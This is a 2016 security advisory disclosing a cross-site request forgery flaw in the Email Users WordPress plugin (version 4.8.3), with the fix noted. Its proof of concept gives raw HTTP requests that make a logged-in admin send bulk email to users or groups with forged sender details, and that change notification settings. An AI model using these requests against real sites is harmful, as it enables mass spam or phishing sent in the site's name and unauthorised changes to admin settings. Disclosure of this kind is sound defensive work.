Julien Rentrop, July 2016

Cross-Site Request Forgery vulnerability in Email Users WordPress Plugin

Abstract

It was found that the Email Users WordPress Plugin is vulnerable to Cross-Site Request Forgery. By using this issue it is possible for an attacker to send arbitrary (bulk) email messages to any address. In order to exploit this issue, an attacker needs to lure a target user into clicking a specially crafted link or visiting a malicious website (or advertisement).

Contact

For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage

This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID

OVE-20160718-0001

Tested versions

This issue was successfully tested on Email Users WordPress Plugin version 4.8.3.

Fix

This issue is resolved in Email Users version 4.8.4.

Introduction

The Email Users WordPress Plugin allows site editors to send an e-mail to the blog users. It was found that the Email Users WordPress Plugin is vulnerable to Cross-Site Request Forgery. By using this issue it is possible for an attacker to send arbitrary (bulk) email messages to any address.

Details

The email users admin page has admin pages for;

- Send to individual user(s)
- Send to group of users
- Settings

These functions can all be triggered using a CSRF attack. These functions can get executed when a logged on admin user gets triggered in to opening a page the attacker controls. Especially the option to send mails to groups of users is interesting for an attacker. In order to exploit this issue, an attacker needs to lure a target user into clicking a specially crafted link or visiting a malicious website (or advertisement).

Proof of concept

As you can see in all messages there is not a WordPress nonce (or other kind of CSRF token) present. This makes the CSRF possible. The cookie values should be replaced by the values of a logged on admin user. Most unneeded headers/params are stripped in the examples.

Send to individual user(s)

See below the example message. The attacker can fill in the various fields such as body of the mail. For verification check if the response contains "<p>Email sent to" (followed by nr of users). As user id's are just sequential numbers an attacker can send a list of id's. The "%5B%5D" part is url encoded form of [], so it's also possible to send in a list of user id's at once.

POST /wp-admin/admin.php?page=mailusers-send-to-user-page HTTP/1.1
Host: <target>
Content-Length: 157
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_=wordpress%7C1468866087%7CkHiDEavVSFosPzEhZ8n073TzlG0EquiX7MWSZG5rdei%7Cc51c6bb8ebf70980d284f8a03ebe7d749dd4bb92caac78f8d46bd1e85eb593c9; PHPSESSID=5240mh3f8gfdnn0r1hhbvinoh3;
Connection: close
   
send=true&fromName=wordpress&fromAddress=sumofpwn%40mailinator.com&mail_format=html&send_users%5B%5D=2&subject=test&mailcontent=test&Submit=Send+Email+%C2%BB

Send to group of users

See above. Here the send_targets param is used to send to the role-subscriber users.

POST /wp-admin/admin.php?page=mailusers-send-to-group-page HTTP/1.1
Host: <target>
Content-Length: 257
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_=wordpress%7C1468866087%7CkHiDEavVSFosPzEhZ8n073TzlG0EquiX7MWSZG5rdei%7Cc51c6bb8ebf70980d284f8a03ebe7d749dd4bb92caac78f8d46bd1e85eb593c9; PHPSESSID=5240mh3f8gfdnn0r1hhbvinoh3;
Connection: close
   
send=true&fromName=other&fromAddress=other%40mail.com&group_mode=role&mail_format=html&send_targets%5B%5D=role-subscriber&subject=Subject+mail+to+all+subscribers&mailcontent=%3Cstrong%3EMessage+mail+to+all+subscribers%3C%2Fstrong%3E&Submit=Send+Email+%C2%BB

Settings

The following requests turns off noticiations for user id 1. Other modifications are also possible. Note; this is a bit different from previous requests since this is GET instead of POST.

GET /wp-admin/admin.php?page=mailusers-user-settings&action=notifications_off&user%5B%5D=1 HTTP/1.1
Host: <target>
Cookie: wordpress_=wordpress%7C1468866087%7CkHiDEavVSFosPzEhZ8n073TzlG0EquiX7MWSZG5rdei%7Cc51c6bb8ebf70980d284f8a03ebe7d749dd4bb92caac78f8d46bd1e85eb593c9; PHPSESSID=5240mh3f8gfdnn0r1hhbvinoh3;
Connection: close